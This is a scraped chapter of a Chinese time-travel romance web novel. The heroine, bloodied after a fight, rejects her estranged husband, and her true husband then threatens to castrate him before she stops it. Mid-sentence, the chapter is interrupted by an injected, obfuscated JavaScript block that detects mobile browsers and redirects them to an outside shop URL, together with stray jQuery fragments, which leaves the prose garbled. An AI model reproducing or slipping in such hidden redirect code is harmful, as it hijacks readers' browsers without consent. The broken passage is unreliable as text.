124. 醋海生波

作品:《段姑娘每天打两份工

    照理说,这么好的春光落在一个女子身上,他所能想到的情景,要么是长安水边的丽人,要么是杏花疏影里倚栏闻笛的年轻妇人,大多数男人对女人的想象有限得很。


    且拘泥于少妇、少女,仿佛她们永远柔弱无依,娇俏可爱,就算有点脾气,能降服自家的男子,也必得在外敌杀进来时躲进夫君的怀里。


    他也不能免俗地想,自己喜欢的姑娘,也该是这样的。


    可她自己究竟如何想,他似乎从未深究,关心她爱护她是真的,可堪不破那层美丽皮囊之下的暗流汹涌,亦是真的。


    世上值得人托付终身的男子太少,大多没得选,可一言“托付”,却已道出女子的困境。


    若非“托付”,她们又何必永远隐藏身体里涌动的暗流,用柔软的□□死死勒住那根傲骨。


    他绝料想不到,她有这样“丑陋”的面目。


    她逆着朝阳,迎着山风,满脸是血,就这么和自己四目相对。


    脚边,是滚烫的鲜血浇出来的淋漓烂肉。


    而脚踏着尸体的女子,如同罗刹恶鬼,站在他面前,目光中毫无愧色,毫无退缩之意。


    郑砚龙好像来迟了。


    一场厮杀将将接近尾声。


    他本该救她于水火,却让她那双干净的手沾满血。


    郑二环顾四周,没有发现其他人,另一个救她的男人,于是不可置信眯起眼睛,从头到脚打量她,几乎认不出来。


    那是她,段家的大小姐,一个温婉贤淑的名媛,怎么会是这样的人呢。


    “萍、萍儿?”


    他脑袋嗡嗡乱响,一念之差,害她险些被恶人凌辱,悔意漫上心头。


    郑砚龙失魂落魄,踉踉跄跄跑过来,好几次摔倒,艰难爬起,满以为她会扑倒在自己怀里痛哭。


    她没有的,她只是静静看着,在他将要揽她入怀的瞬间,突然抬脚踢中他小腹,将他用力蹬下山坡。


    那一脚下了死手,忒狠。


    郑砚龙捂着肚子滚了几滚,情急用手勒住一把草,仰头望着头顶的段青萍,嗫嚅道:“是我啊,萍儿,不认得我了?我是二爷,昨晚的事是我不对,想清楚后我折返回来寻你,谁知你不在。”


    山风吹动额发,遮住眼底的晦暗。


    陈雪游没肯看他第二眼,掉头便走。


    郑砚龙狼狈爬起,拍拍身上草屑,急忙追上去,亦步亦趋沉默地跟在后面,怎么也没法和她并肩而行,不敢,抑或根本不能?


    他垂着头,看到她光着脚,一瘸一拐地摸索着下山的路。


    “萍儿,你不穿鞋怎么行,来,我背你下山。”


    他甫一开口,脚底水泡磨破,她忍着疼,步子迈得更急。


    “你就这么想甩掉我吗?”去拉她胳膊,不巧她握着刀,反手划过去,一串血珠溅落在纤弱的草叶上。


    郑砚龙睁大眼睛,倒吸一口凉气。


    “别再跟着我,我有的是办法杀你。”


    喉咙是哑的。


    郑砚龙愣住,心里很是委屈,分明是她对不起自己,如今反倒被她牵着鼻子走,难道还要他跪下来跟她道歉,她才肯消气?


    可他不能,他还没有说原谅,他凭什么道歉?


    郑二公子昂首阔步走过去,故意往她肩头一撞,差点将她从山道上撞下去。


    “你……”


    郑砚龙一肚子反唇相讥呛人的话,直等她发作,谁料那人连骂他都懒得骂他。


    一拳头打在棉花上。


    他闷闷行在前头,余光瞥她,她原来早已另寻别路,哪怕那条路荆棘遍生崎岖陡峭,随时会摔下山崖一命呜呼,显然,她宁肯这般自寻死路,也不肯和他走在一条道上。


    就这么嫌弃他么?


    他有什么不好。


    郑砚龙眼底潮热,几欲落泪,一腔深情付诸流水。


    满目浮萍,漫随流水而下,他们同生死共患难,他是渡那江河的旅人,天地孤舟,终究隔着一层。


    无根又怎样,在水里漂泊,不也是依着那清澈的小河,烂漫地活着。


    那他又该何去何从?


    “段青萍!”郑砚龙掉过头,冲她大声吼道:“走我这边。”


    他没敢在仇人面前掉眼泪,太没种,既下不了手,还要在她面前哭,算什么爷们。


    陈雪游愣愣看着他逃跑的身影,良久,缓缓吐出两个字:“有病。”


    他不会觉得自己方才的样子,很有男子气概吧。


    正午的春阳热烈,越往山下走越觉得身子暖和,连吹过来的风都是毛绒绒的,温柔地抚摸着她的脸。


    好温暖。


    我走不动了。


    突然心气儿好像断了。


    疼痛、饥饿、困意,瞬间从身体里消失,一生泥泞的雨季就在春天太阳最好的时候结束吧。


    她望着山下平畴沃野,村舍里矮矮的房屋高低错落,青色的烟如梦似幻,木甑里蒸熟的米饭一定冒着香气,他们就这样平静无事,远离京中那些是是非非,每天光看着对方吃饭,只是看着对方吃饭就会很幸福。


    弃捐勿复道,努力加餐饭。


    “夫人!”


    她猛地回头,浮荡的草海闪着晶莹的光,一个熟悉的影子正涉过那片翠微山色,朝她走来。


    陈雪游知道,这是饿出幻觉了,大概是死前走马灯,会把一生的经历都要在脑海里过一遍,才算完。


    莫非,她要成为有史以来,第一个饿死的穿越者?


    “夫人啊,你怎么弄成这样?你受伤了?伤在哪里?”


    “这不是我的血。”她摇摇头,一滴眼泪颤抖着滑过干裂的唇角,“我是在做梦吗?怎么记忆里好像并没有这一段。”


    周元澈喉头微动,显然是久悬的心落进肚子里,但握着她的手仍在发抖,“不是梦,是我。我…终于找到你了。”


    “我无时无刻不在想着你,要是没有你,我该怎么办?”


    她捞起他的手,放到嘴边,猛一口咬下去。


    “嘶——”他扯着嘴角埋怨,但还是舍不得把手抽回来,“痛啊,知道你也想我,但也不用这么想。”


    “果然不是做梦。”


    他嗤的笑出声,伸手整理着她乱糟糟的头发,“我抱你回去。”


    “身上脏,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319624|188618||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我自己能走的。”


    “还走,傻子,脚都磨破了知道么?”


    周元澈不由分说,执意将她打横抱紧在怀内,快步朝着不远处停在山道上的马车走去,她阖上眼睛,睡着,身子落在一团柔软的褥子里。


    抱着她的那个人却没有留下,反而下车离开。


    “周元澈,你别走啊。”


    清浅的溪流像一条淡绿的玉带,穿过山林,春风拂面,他冷着脸,连风都不好意思这般热情了。


    两个劲装短打的黑衣人是周元澈的随从护卫,此时正拖着一个男人从下游过来,“此人鬼鬼祟祟跟在夫人身后,图谋不轨,请主君处置。”


    他双手负在身后,躬身向前,细细打量那人,那张和他有七八分相似的脸,“郑砚龙,你是朝廷钦犯,我若在这里杀你,想来也没人在意。”


    郑二抬起头,朝他吐口水,奈何功夫退步,那一口唾沫中道失势,尴尬地散落在细嫩的茎叶上。


    “要杀要剐,悉听尊便。”


    “不,杀你太便宜你,应该阉了你,毕竟你我兄弟一场,合该有难同当不是吗?”


    “谁跟你是兄弟!你也配!”


    “我也不想啊,但血浓于水,绕不开这层关系。不过你放心,即便你身为阉人,也并非有资格能与我一较高下。就好像,即便你再像我,也取代不了我在她心里的位置。她爱我,并不是因为我是一个太监,只是因为,那个人是我。”


    周元澈句句轻描淡写,却字字诛心。


    郑二不服气,“那又如何?她是我明媒正娶的,邻里街坊全都知道,段青萍,是我郑砚龙纳的妾。”


    “一个名字而已,既然你喜欢,哥哥让给你,反正她是谁不重要,重要的是日日和她同床共枕、朝夕相对的那个人,是我,且只有我。多谢你,好兄弟,若非你为人如此差劲,可能她也看不上我。”


    他说完,丢下一把匕首,“给成年男子去势可是很危险的,你们切记,务必要保住他的性命,不然我和他嫂嫂,恐怕此生难安。”


    “是,主君,我们一定小心。”


    郑砚龙怒目圆睁,骂道:“周元澈,你个阉狗!你不杀我,我一定将你碎尸万段!”


    没骂两句,他的裤子突然被扒下,刀子贴着那大腿慢慢试探着,“哎,这我也没割过,要不你来?”


    两个随从面面相觑,互相交换着试了试,总觉得刀子很不趁手,一不小心就划破了皮。


    郑砚龙惨叫一声。


    周元澈凤目微凝,嘴角扬起得意的笑,直到身后响起一个熟悉的声音:“周!远!澈!”


    他心头一凛,笑容渐渐凝固。


    “你在做什么?”


    周元澈转过身,紧张得额头直冒汗,“我…我在给你捉鱼,夫人,你可觉得饿?饿了我…我下去给你抓两条大肥鱼。”


    她肃了脸。


    “放了他。”


    “哦。”


    他脸色一沉。


    “那打一顿再放?”


    “行!”


    “替我打的,打他。”


    “好!”


    郑砚龙:“……”